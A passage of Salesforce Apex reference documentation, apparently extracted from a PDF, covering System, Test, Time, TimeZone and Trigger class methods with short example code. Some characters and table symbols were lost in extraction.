nextApprover

Type: String

Return Value
Type: List<Id>

purgeOldAsyncJobs(dt)
Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted, or
Failed status, and returns the number of records deleted.

Signature
public static Integer purgeOldAsyncJobs(Date dt)

2450

Reference

System Class

Parameters
dt

Type: Date
Specifies the date up to which old records are deleted. The date comparison is based on the CompletedDate field of AsyncApexJob,
which is in the GMT time zone.

Return Value
Type: Integer

Usage
Asynchronous Apex job records are records in AsyncApexJob.
The system cleans up asynchronous job records for jobs that have finished execution and are older than seven days. You can use this
method to further reduce the size of AsyncApexJob by cleaning up more records.
Each execution of this method counts as a single row against the governor limit for DML statements.

Example
This example shows how to delete all job records for jobs that have finished before todays date.
Integer count = System.purgeOldAsyncJobs
(Date.today());
System.debug('Deleted ' +
count + ' old jobs.');

requestVersion()
Returns a two-part version that contains the major and minor version numbers of a package.

Signature
public static System.Version requestVersion()

Return Value
Type: System.Version

Usage
Using this method, you can determine the version of an installed instance of your package from which the calling code is referencing
your package. Based on the version that the calling code has, you can customize the behavior of your package code.
The requestVersion method isnt supported for unmanaged packages. If you call it from an unmanaged package, an exception
will be thrown.

resetPassword(userId, sendUserEmail)
Resets the password for the specified user.

2451

Reference

System Class

Signature
public static System.ResetPasswordResult resetPassword(ID userId, Boolean sendUserEmail)

Parameters
userId

Type: ID
sendUserEmail

Type: Boolean

Return Value
Type: System.ResetPasswordResult

Usage
When the user logs in with the new password, they are prompted to enter a new password, and to select a security question and answer
if they haven't already. If you specify true for sendUserEmail, the user is sent an email notifying them that their password was
reset. A link to sign onto Salesforce using the new password is included in the email. Use setPassword(userId, password)
if you don't want the user to be prompted to enter a new password when they log in.
Warning: Be careful with this method, and do not expose this functionality to end-users.

runAs(version)
Changes the current package version to the package version specified in the argument.

Signature
public static Void runAs(System.Version version)

Parameters
version

Type: System.Version

Return Value
Type: Void

Usage
A package developer can use Version methods to continue to support existing behavior in classes and triggers in previous package
versions while continuing to evolve the code. Apex classes and triggers are saved with the version settings for each installed managed
package that the class or trigger references.
This method is used for testing your component behavior in different package versions that you upload to the AppExchange. This method
effectively sets a two-part version consisting of major and minor numbers in a test method so that you can test the behavior for different
package versions.

2452

Reference

System Class

You can only use runAs in a test method. There is no limitation to the number of calls to this method in a transaction. For sample
usage of this method, see Testing Behavior in Package Versions.

runAs(userSObject)
Changes the current user to the specified user.

Signature
public static Void runAs(User userSObject)

Parameters
userSObject

Type: User

Return Value
Type: Void

Usage
All of the specified user's record sharing is enforced during the execution of runAs. You can only use runAs in a test method. For
more information, see Using the runAs Method on page 565.
Note: The runAs method ignores user license limits. You can create new users with runAs even if your organization has no
additional user licenses.
The runAs method implicitly inserts the user that is passed in as parameter if the user has been instantiated, but not inserted yet.
You can also use runAs to perform mixed DML operations in your test by enclosing the DML operations within the runAs block. In
this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with other
sObjects. See sObjects That Cannot Be Used Together in DML Operations.
Note: Every call to runAs counts against the total number of DML statements issued in the process.

schedule(jobName, cronExpression, schedulableClass)

Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified
by a Cron expression.

Signature
public static String schedule(String jobName, String cronExpression, Object
schedulableClass)

Parameters
jobName

Type: String
cronExpression

Type: String

2453

Reference

System Class

schedulableClass

Type: Object

Return Value
Type: String
Returns the scheduled job ID (CronTrigger ID).

Usage
Use extreme care if youre planning to schedule a class from a trigger. You must be able to guarantee that the trigger wont add more
scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface,
and all cases where more than one record can be updated at a time. Use the abortJob method to stop the job after it has been
scheduled.
Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.

Using the System.Schedule Method

Values

Special Characters

Seconds

059

None

Minutes

059

None

Hours

023

, - * /

Day_of_month

131

, - * ? / L W

Month

112 or the following:

, - * /

JAN
FEB
MAR

2454

Reference

Name

System Class

Values

Special Characters

APR
MAY
JUN
JUL
AUG
SEP
OCT
NOV
DEC
Day_of_week

17 or the following:

, - * ? / L #

SUN
MON
TUE
WED
THU
FRI
SAT
optional_year

null or 19702099

, - * /

The special characters are defined as follows:

Special Character

Description

Delimits values. For example, use JAN, MAR, APR to specify more than one month.

Specifies a range. For example, use JAN-MAR to specify more than one month.

Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.

Specifies no specific value. This is only available for Day_of_month and

Day_of_week, and is generally used when specifying a value for one and not the
other.

2455

Reference

System Class

Special Character

Description
Day_of_week value, it means the last of that type of day in the month. For example,
if you specify 2L, you are specifying the last Monday of the month. Do not use a range
of values with L as the results might be unexpected.

Tip: Use the L and W together to specify the last weekday of the month.
Specifies the nth day of the month, in the format weekday#day_of_month.
This is only available for Day_of_week. The number before the # specifies weekday
(SUN-SAT). The number after the # specifies the day of the month. For example,
specifying 2#2 means the class runs on the second Monday of every month.

The following are some examples of how to use the expression.

Expression

Description

0 0 13 * * ?

Class runs every day at 1 PM.

0 0 22 ? * 6L

Class runs the last Friday of every month at 10 PM.

0 0 10 ? * MON-FRI

Class runs Monday through Friday at 10 AM.

0 0 20 * * ? 2010

Class runs every day at 8 PM during the year 2010.

scheduleBatch(batchable, jobName, minutesFromNow)

Schedules a batch job to run once in the future after the specified time interval and with the specified job name.

Signature
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer
minutesFromNow)

Parameters
batchable

Type: Database.Batchable

2456

Reference

System Class

An instance of a class that implements the Database.Batchable interface.

jobName

Type: String
The name if the job that this method will start.
minutesFromNow

Type: Integer
The time interval in minutes after which the job should start executing. This argument must be greater than zero.

Return Value
Type: String
The scheduled job ID (CronTrigger ID).

Usage
Note: Some things to note about System.scheduleBatch:
When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution
occurs at or after that time, depending on service availability.
The scheduler runs as systemall classes are executed, whether or not the user has permission to execute the class.
When the jobs schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your
org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job is queued
(with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex
limits.
After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled
job using the System.abortJob method.
For an example, see Using the System.scheduleBatch Method.

scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)

Schedules a batch job to run once in the future after the specified the time interval, with the specified job name and scope size. Returns
the scheduled job ID (CronTrigger ID).

Signature
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer
minutesFromNow, Integer scopeSize)

Parameters
batchable

Type: Database.Batchable
The batch class that implements the Database.Batchable interface.
jobName

Type: String

2457

Reference

System Class

The name of the job that this method will start.

minutesFromNow

Type: Integer
The time interval in minutes after which the job should start executing.
scopeSize

Type: Integer
The number of records that should be passed to the batch execute method.

Return Value
Type: String

setPassword(userId, password)
Sets the password for the specified user.

Signature
public static Void setPassword(ID userId, String password)

Parameters
userId

Type: ID
password

Type: String

Return Value
Type: Void

2458

Reference

Test Class

Usage
When the user logs in with this password, they are not prompted to create a new password. Use resetPassword(userId,
sendUserEmail) if you want the user to go through the reset process and create their own password.
Warning: Be careful with this method, and do not expose this functionality to end-users.

submit(workItemIds, comments, nextApprover)

Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to the
current user.

Signature
public static List<ID> submit(List<ID> workItemIds, String comments, String nextApprover)

Parameters
workItemIds

Type: List<ID>
comments

Type: String
nextApprover

Type: String

Return Value
Type: List<ID>

Usage
For enhanced submit and evaluation features, see the ProcessSubmitRequest class.

today()
Returns the current date in the current user's time zone.

Signature
public static Date today()

Return Value
Type: Date

Test Class
Contains methods related to Visualforce tests.

2459

Reference

Test Class

Namespace
System

Test Methods
The following are methods for Test. All methods are static.
IN THIS SECTION:
enqueueBatchJobs(numberOfJobs)
Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the
maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex
queue exceeds the allowed limit of 100 jobs.
getFlexQueueOrder()
Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method
returns only test-context results, even if its annotated with @IsTest(SeeAllData=true).
getStandardPricebookId()
Returns the ID of the standard price book in the organization.
invokeContinuationMethod(controller, request)
Invokes the callback method for the specified controller and continuation in a test method.
isRunningTest()
Returns true if the currently executing code was called by code contained in a test method, false otherwise. Use this method
if you need to run different code depending on whether it was being called from a test.
loadData(sObjectToken, resourceName)
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted
sObjects.
newSendEmailQuickActionDefaults(contextId, replyToId)
Creates a new QuickAction.SendEmailQuickActionDefaults instance for testing a class implementing the
QuickAction.QuickActionDefaultsHandler interface.
setContinuationResponse(requestLabel, mockResponse)
Sets a mock response for a continuation HTTP request in a test method.
setCreatedDate(recordId, createdDatetime)
Sets CreatedDate for a test-context sObject.
setCurrentPage(page)
A Visualforce test method that sets the current PageReference for the controller.
setCurrentPageReference(page)
A Visualforce test method that sets the current PageReference for the controller.
setFixedSearchResults(setSearchResults)
Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.
setMock(interfaceType, instance)
Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the
HTTP classes or the auto-generated code from WSDLs.

2460

Reference

Test Class

setReadOnlyApplicationMode(applicationMode)
Sets the application mode for an organization to read-only in an Apex test to simulate read-only mode during Salesforce upgrades
and downtimes. The application mode is reset to the default mode at the end of each Apex test run.
startTest()
Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.
stopTest()
Marks the point in your test code when your test ends. Use this method in conjunction with the startTest method.
testInstall(installImplementation, version, isPush)
Tests the implementation of the InstallHandler interface, which is used for specifying a post install script in packages. Tests run as
the test initiator in the development environment.
testUninstall(uninstallImplementation)
Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as
the test initiator in the development environment.

enqueueBatchJobs(numberOfJobs)
Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the
maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex queue
exceeds the allowed limit of 100 jobs.

Signature
public static List<Id> enqueueBatchJobs(Integer numberOfJobs)

Parameters
numberOfJobs

Type: Integer
Number of test jobs to enqueue.

Return Value
Type: List<Id>
A list of IDs of enqueued test jobs.

Usage
Use this method to reduce testing time. Instead of using your org's real batch jobs for testing, you can use this method to simulate
batch-job enqueueing. Using enqueueBatchJobs(numberOfJobs) is faster than enqueuing real batch jobs.

getFlexQueueOrder()
Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method
returns only test-context results, even if its annotated with @IsTest(SeeAllData=true).

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Reference

Test Class

Signature
public static List<Id> getFlexQueueOrder()

Return Value
Type: List<Id>
An ordered list of IDs of the jobs in the tests flex queue.

getStandardPricebookId()
Returns the ID of the standard price book in the organization.

Signature
public static Id getStandardPricebookId()

Return Value
Type: Id
The ID of the standard price book.

Usage
This method returns the ID of the standard price book in your organization regardless of whether the test can query organization data.
By default, tests cant query organization data unless theyre annotated with @isTest(SeeAllData=true).
Creating price book entries with a standard price requires the ID of the standard price book. Use this method to get the standard price
book ID so that you can create price book entries in your tests.

Example
This example creates some test data for price book entries. The test method in this example gets the standard price book ID and uses
this ID to create a price book entry for a product with a standard price. Next, the test creates a custom price book and uses the ID of this
custom price book to add a price book entry with a custom price.
@isTest
public class PriceBookTest {
// Utility method that can be called by Apex tests to create price book entries.
static testmethod void addPricebookEntries() {
// First, set up test price book entries.
// Insert a test product.
Product2 prod = new Product2(Name = 'Laptop X200',
Family = 'Hardware');
insert prod;
// Get standard price book ID.
// This is available irrespective of the state of SeeAllData.
Id pricebookId = Test.getStandardPricebookId();
// 1. Insert a price book entry for the standard price book.
// Standard price book entries require the standard price book ID we got earlier.

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Reference

Test Class

PricebookEntry standardPrice = new PricebookEntry(

Pricebook2Id = pricebookId, Product2Id = prod.Id,
UnitPrice = 10000, IsActive = true);
insert standardPrice;
// Create a custom price book
Pricebook2 customPB = new Pricebook2(Name='Custom Pricebook', isActive=true);
insert customPB;
// 2. Insert a price book entry with a custom price.
PricebookEntry customPrice = new PricebookEntry(
Pricebook2Id = customPB.Id, Product2Id = prod.Id,
UnitPrice = 12000, IsActive = true);
insert customPrice;
// Next, perform some tests with your test price book entries.
}
}

invokeContinuationMethod(controller, request)
Invokes the callback method for the specified controller and continuation in a test method.

Signature
public static Object invokeContinuationMethod(Object controller, Continuation request)

Parameters
controller

Type: Object
An instance of the controller class that invokes the continuation request.
request

Type: Continuation
The continuation that is returned by an action method in the controller class.

Return Value
Type: Object
The response of the continuation callback method.

Usage
Use the Test.setContinuationResponse and Test.invokeContinuationMethod methods to test continuations.
In test context, callouts of continuations arent sent to the external service. By using these methods, you can set a mock response and
cause the runtime to call the continuation callback method to process the mock response.
Call Test.setContinuationResponse before you call Test.invokeContinuationMethod. When you call
Test.invokeContinuationMethod, the runtime executes the callback method that is associated with the continuation. The
callback method processes the mock response that is set by Test.setContinuationResponse.

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Reference

Test Class

isRunningTest()
Returns true if the currently executing code was called by code contained in a test method, false otherwise. Use this method if
you need to run different code depending on whether it was being called from a test.

Signature
public static Boolean isRunningTest()

Return Value
Type: Boolean

loadData(sObjectToken, resourceName)
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted sObjects.

Signature
public static List<sObject> loadData(Schema.SObjectType sObjectToken, String
resourceName)

Parameters
sObjectToken

Type: Schema.SObjectType
The sObject type for which to insert test records.
resourceName

Type: String
The static resource that corresponds to the .csv file containing the test records to load. The name is case insensitive.

Return Value
Type: List<sObject>

Usage
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension.
The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines
are the field values. To learn more about static resources, see Defining Static Resources in the Salesforce online help.
Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:
text/csv
application/vnd.ms-excel
application/octet-stream
text/plain

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Reference

Test Class

newSendEmailQuickActionDefaults(contextId, replyToId)
Creates a new QuickAction.SendEmailQuickActionDefaults instance for testing a class implementing the
QuickAction.QuickActionDefaultsHandler interface.

Signature
public static QuickAction.SendEmailQuickActionDefaults newSendEmailQuickActionDefaults(ID
contextId, ID replyToId)

Parameters
contextId

Type: Id
Parent record of the email message.
replyToId

Type: Id
Previous email message ID if this email message is a reply.

Return Value
Type: SendEmailQuickActionDefaults Class
The default values used for an email message quick action.

setContinuationResponse(requestLabel, mockResponse)
Sets a mock response for a continuation HTTP request in a test method.

Signature
public static void setContinuationResponse(String requestLabel, System.HttpResponse
mockResponse)

Parameters
requestLabel

Type: String
The unique label that corresponds to the continuation HTTP request. This label is returned by
Continuation.addHttpRequest.
mockResponse

Type: HttpResponse
The fake response to be returned by Test.invokeContinuationMethod.

Return Value
Type: void

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Reference

Test Class

setCreatedDate(recordId, createdDatetime)
Sets CreatedDate for a test-context sObject.

Signature
public static void setCreatedDate(Id recordId, Datetime createdDatetime)

Parameters
recordId

Type: Id
The ID of an sObject.
createdDatetime

Type: Datetime
The value to assign to the sObjects CreatedDate field.

Return Value
Type: void

Usage
All database changes are rolled back at the end of a test. You cant use this method on records that existed before your test executed.
You also cant use setCreatedDate in methods annotated with @isTest(SeeAllData=true), because those methods
have access to all data in your org. This method takes two parametersan sObject ID and a Datetime valueneither of which can be
null.
Insert your test record before you set its CreatedDate, as shown in this example.
@isTest
private class SetCreatedDateTest {
static testMethod void testSetCreatedDate() {
Account a = new Account(name='myAccount');
insert a;
Test.setCreatedDate(a.Id, DateTime.newInstance(2012,12,12));
Test.startTest();
Account myAccount = [SELECT Id, Name, CreatedDate FROM Account
WHERE Name ='myAccount' limit 1];
System.assertEquals(myAccount.CreatedDate, DateTime.newInstance(2012,12,12));
Test.stopTest();

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Reference

Test Class

}
}

setCurrentPage(page)
A Visualforce test method that sets the current PageReference for the controller.

Signature
public static Void setCurrentPage(PageReference page)

Parameters
page

Type: System.PageReference

Return Value
Type: Void

setCurrentPageReference(page)
A Visualforce test method that sets the current PageReference for the controller.

Signature
public static Void setCurrentPageReference(PageReference page)

Parameters
page

Type: System.PageReference

Return Value
Type: Void

setFixedSearchResults(setSearchResults)
Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.

Signature
public static Void setFixedSearchResults(ID[] setSearchResults)

Parameters
setSearchResults

Type: ID[]

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Reference

Test Class

The list of record IDs specified by opt_set_search_results replaces the results that would normally be returned by the
SOSL queries if they were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL queries, they are applied
to the list of fixed search results.

Return Value
Type: Void

Usage
If opt_set_search_results is not specified, all subsequent SOSL queries return no results.
For more information, see Adding SOSL Queries to Unit Tests on page 567.

setMock(interfaceType, instance)
Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the HTTP
classes or the auto-generated code from WSDLs.

Signature
public static Void setMock(Type interfaceType, Object instance)

Parameters
interfaceType

Type: System.Type
instance

Type: Object

Return Value
Type: Void

Usage
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.

Signature
public static Void setReadOnlyApplicationMode(Boolean applicationMode)

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Reference

Test Class

Parameters
applicationMode

Type: Boolean

Return Value
Type: Void

Usage
Also see the getApplicationReadWriteMode() System method.
Do not use setReadOnlyApplicationMode for purposes unrelated to Read-Only Mode testing, such as simulating DML
exceptions.

Example
The following example sets the application mode to read-only and attempts to insert a new account record, which results in the exception.
It then resets the application mode and performs a successful insert.
@isTest
private class ApplicationReadOnlyModeTestClass {
public static testmethod void test() {
// Create a test account that is used for querying later.
Account testAccount = new Account(Name = 'TestAccount');
insert testAccount;
// Set the application read only mode.
Test.setReadOnlyApplicationMode(true);
// Verify that the application is in read-only mode.
System.assertEquals(
ApplicationReadWriteMode.READ_ONLY,
System.getApplicationReadWriteMode());
// Create a new account object.
Account testAccount2 = new Account(Name = 'TestAccount2');
try {
// Get the test account created earlier. Should be successful.
Account testAccountFromDb =
[SELECT Id, Name FROM Account WHERE Name = 'TestAccount'];
System.assertEquals(testAccount.Id, testAccountFromDb.Id);
// Inserts should result in the InvalidReadOnlyUserDmlException
// being thrown.
insert testAccount2;
System.assertEquals(false, true);
} catch (System.InvalidReadOnlyUserDmlException e) {
// Expected
}
// Insertion should work after read only application mode gets disabled.
Test.setReadOnlyApplicationMode(false);

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Reference

Test Class

insert testAccount2;
Account testAccount2FromDb =
[SELECT Id, Name FROM Account WHERE Name = 'TestAccount2'];
System.assertEquals(testAccount2.Id, testAccount2FromDb.Id);
}
}

startTest()
Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.

Signature
public static Void startTest()

Return Value
Type: Void

Usage
You can also use this method with stopTest to ensure that all asynchronous calls that come after the startTest method are
run before doing any assertions or testing. Each test method is allowed to call this method only once. All of the code before this method
should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need to run your test.
Any code that executes after the call to startTest and before stopTest is assigned a new set of governor limits.

stopTest()
Marks the point in your test code when your test ends. Use this method in conjunction with the startTest method.

Signature
public static Void stopTest()

Return Value
Type: Void

Usage
Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned the original
limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are collected
by the system. When stopTest is executed, all asynchronous processes are run synchronously.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count
against your limits for the number of queued jobs.

testInstall(installImplementation, version, isPush)

Tests the implementation of the InstallHandler interface, which is used for specifying a post install script in packages. Tests run as the
test initiator in the development environment.

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Reference

Test Class

Signature
public static Void testInstall(InstallHandler installImplementation, Version version,
Boolean isPush)

Parameters
installImplementation

Type: System.InstallHandler
A class that implements the InstallHandler interface.
version

Type: System.Version
The version number of the existing package installed in the subscriber organization.
isPush

Type: Boolean
(Optional) Specifies whether the upgrade is a push. The default value is false.

Return Value
Type: Void

Usage
This method throws a run-time exception if the test install fails.

Example
@isTest static void test() {
PostInstallClass postinstall =
new PostInstallClass();
Test.testInstall(postinstall,
new Version(1,0));
}

testUninstall(uninstallImplementation)
Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as the
test initiator in the development environment.

Signature
public static Void testUninstall(UninstallHandler uninstallImplementation)

Parameters
uninstallImplementation

Type: System.UninstallHandler
A class that implements the UninstallHandler interface.

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Reference

Time Class

Return Value
Type: Void

Usage
This method throws a run-time exception if the test uninstall fails.

Example
@isTest static void test() {
UninstallClass uninstall =
new UninstallClass();
Test.testUninstall(uninstall);
}

Time Class
Contains methods for the Time primitive data type.

Namespace
System

Usage
For more information on time, see Primitive Data Types on page 27.

Time Methods
The following are methods for Time.
IN THIS SECTION:
addHours(additionalHours)
Adds the specified number of hours to a Time.
addMilliseconds(additionalMilliseconds)
Adds the specified number of milliseconds to a Time.
addMinutes(additionalMinutes)
Adds the specified number of minutes to a Time.
addSeconds(additionalSeconds)
Adds the specified number of seconds to a Time.
hour()
Returns the hour component of a Time.
millisecond()
Returns the millisecond component of a Time.

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Reference

Time Class

minute()
Returns the minute component of a Time.
newInstance(hour, minutes, seconds, milliseconds)
Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds.
second()
Returns the second component of a Time.

addHours(additionalHours)
Adds the specified number of hours to a Time.

Signature
public Time addHours(Integer additionalHours)

Parameters
additionalHours

Type: Integer

Return Value
Type: Time

Example
Time myTime = Time.newInstance(1, 2, 3, 4);
Time expected = Time.newInstance(4, 2, 3, 4);
System.assertEquals(expected, myTime.addHours(3));

addMilliseconds(additionalMilliseconds)
Adds the specified number of milliseconds to a Time.

Signature
public Time addMilliseconds(Integer additionalMilliseconds)

Parameters
additionalMilliseconds

Type: Integer

Return Value
Type: Time

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Reference

Time Class

Example
Time myTime = Time.newInstance(1, 2, 3, 0);
Time expected = Time.newInstance(1, 2, 4, 400);
System.assertEquals(expected, myTime.addMilliseconds(1400));

addMinutes(additionalMinutes)
Adds the specified number of minutes to a Time.

Signature
public Time addMinutes(Integer additionalMinutes)

Parameters
additionalMinutes

Type: Integer

Return Value
Type: Time

Example
Time myTime = Time.newInstance(18, 30, 2, 20);
Integer myMinutes = myTime.minute();
myMinutes = myMinutes + 5;
System.assertEquals(myMinutes, 35);

addSeconds(additionalSeconds)
Adds the specified number of seconds to a Time.

Signature
public Time addSeconds(Integer additionalSeconds)

Parameters
additionalSeconds

Type: Integer

Return Value
Type: Time

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Reference

Time Class

Example
Time myTime = Time.newInstance(1, 2, 55, 0);
Time expected = Time.newInstance(1, 3, 5, 0);
System.assertEquals(expected, myTime.addSeconds(10));

hour()
Returns the hour component of a Time.

Signature
public Integer hour()

Return Value
Type: Integer

Example
Time myTime = Time.newInstance(18, 30, 2, 20);
myTime = myTime.addHours(2);
Integer myHour = myTime.hour();
System.assertEquals(myHour, 20);

millisecond()
Returns the millisecond component of a Time.

Signature
public Integer millisecond()

Return Value
Type: Integer

Example
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(926, myTime.millisecond());

minute()
Returns the minute component of a Time.

Signature
public Integer minute()

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Reference

Time Class

Return Value
Type: Integer

Example
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(14, myTime.minute());

newInstance(hour, minutes, seconds, milliseconds)

Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds.

Signature
public static Time newInstance(Integer hour, Integer minutes, Integer seconds, Integer
milliseconds)

Parameters
hour

Type: Integer
minutes

Type: Integer
seconds

Type: Integer
milliseconds

Type: Integer

Return Value
Type: Time

Example
The following example creates a time of 18:30:2:20.
Time myTime =
Time.newInstance(18, 30, 2, 20);

second()
Returns the second component of a Time.

Signature
public Integer second()

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Reference

TimeZone Class

Return Value
Type: Integer

Example
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(15, myTime.second());

TimeZone Class
Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone ID,
offset, and display name.

Namespace
System

Usage
You can use the methods in this class to get properties of a time zone, such as the properties of the time zone returned by
UserInfo.getTimeZone, or the time zone returned by getTimeZone of this class.

Example
This example shows how to get properties of the current users time zone and displays them to the debug log.
TimeZone tz = UserInfo.getTimeZone();
System.debug('Display name: ' + tz.getDisplayName());
System.debug('ID: ' + tz.getID());
// During daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,10,23,12,0,0)));
// Not during daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,11,23,12,0,0)));
System.debug('String format: ' + tz.toString());

The output of this sample varies based on the user's time zone. This is an example output if the users time zone is America/Los_Angeles.
For this time zone, daylight saving time is -7 hours from GMT (-25200000 milliseconds) and standard time is -8 hours from GMT (-28800000
milliseconds).
Display name: Pacific Standard Time
ID: America/Los_Angeles
Offset: -25200000
Offset: -28800000
String format: America/Los_Angeles

This second example shows how to create a time zone for the New York time zone and get the offset of this time zone to the GMT time
zone. The example uses two dates to get the offset from. One date is before DST, and one is after DST. In 2000, DST ended on Sunday,

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Reference

TimeZone Class

October 29 for the New York time zone. Because the date occurs after DST ends, the offset on the first date is 5 hours to GMT. In 2012,
DST ended on Sunday, November 4. Because the date is within DST, the offset on the second date is 4 hours.
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');
// Create a date before the 2007 shift of DST into November
DateTime dtpre = DateTime.newInstanceGMT(2000, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpre));
//-18000000 (= -5 hours = EST)
// Create a date after the 2007 shift of DST into November
DateTime dtpost = DateTime.newInstanceGMT(2012, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpost));
//-14400000 (= -4 hours = EDT)

This next example is similar to the previous one except that it gets the offset around the boundary of DST. In 2014, DST ended on Sunday,
November 2 at 2:00 AM local time for the New York time zone. The first offset is obtained right before DST ends, and the second offset
is obtained right after DST ends. The dates are created by using the DateTime.newInstanceGMT method. This method expects
the passed-in date values to be based on the GMT time zone.
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');
// Before DST ends
DateTime dtpre = DateTime.newInstanceGMT(2014, 11, 2, 5, 59, 59); //1:59:59AM local
system.debug(tz.getOffset(dtpre));
//-14400000 (= -4 hours = still on DST)
// After DST ends
DateTime dtpost = DateTime.newInstanceGMT(2014, 11, 2, 6, 0, 0); //1:00:00AM local
system.debug(tz.getOffset(dtpost)); //-18000000 (= -5 hours = back one hour)

TimeZone Methods
The following are methods for TimeZone.
IN THIS SECTION:
getDisplayName()
Returns this time zones display name.
getID()
Returns this time zones ID.
getOffset(date)
Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.
getTimeZone(timeZoneIdString)
Returns the time zone corresponding to the specified time zone ID.
toString()
Returns the string representation of this time zone.

getDisplayName()
Returns this time zones display name.

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Reference

TimeZone Class

Signature
public String getDisplayName()

Return Value
Type: String

getID()
Returns this time zones ID.

Signature
public String getID()

Return Value
Type: String

getOffset(date)
Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.

Signature
public Integer getOffset(Datetime date)

Parameters
date

Type: Datetime
The date argument is the date and time to evaluate.

Return Value
Type: Integer

Usage
Note: The returned offset is adjusted for daylight saving time if the date argument falls within daylight saving time for this time
zone.

getTimeZone(timeZoneIdString)
Returns the time zone corresponding to the specified time zone ID.

Signature
public static TimeZone getTimeZone(String timeZoneIdString)

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Reference

Trigger Class

Parameters
timeZoneIdString

Type: String
The time zone values you can use for the Id argument are any valid time zone values that the Java TimeZone class supports.

Return Value
Type: TimeZone

Example
TimeZone tz = TimeZone.getTimeZone('America/Los_Angeles');
System.assertEquals(
'Pacific Standard Time',
tz.getDisplayName());

toString()
Returns the string representation of this time zone.

Signature
public String toString()

Return Value
Type: String

Trigger Class
Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records
that the trigger operates on.

Namespace
System

Trigger Context Variables

The Trigger class provides the following context variables.
Variable

Usage

isExecuting

Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.

isInsert

Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.

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Reference

Trigger Class

Variable

Usage

isUpdate

Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.

isDelete

Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.

isBefore

Returns true if this trigger was fired before any record was saved.

isAfter

Returns true if this trigger was fired after all records were saved.

isUndelete

Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after
an undelete operation from the Salesforce user interface, Apex, or the API.)

new

Returns a list of the new versions of the sObject records.

Note that this sObject list is only available in insert and update triggers, and the records can
only be modified in before triggers.

newMap

A map of IDs to the new versions of the sObject records.

Note that this map is only available in before update, after insert, and after
update triggers.
Returns a list of the old versions of the sObject records.

old

Note that this sObject list is only available in update and delete triggers.
oldMap

A map of IDs to the old versions of the sObject records.

Note that this map is only available in update and delete triggers.

size

The total number of records in a trigger invocation, both old and new.

Example
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind
variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact

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Reference

Type Class

WHERE AccountId IN :Trigger.new];

}

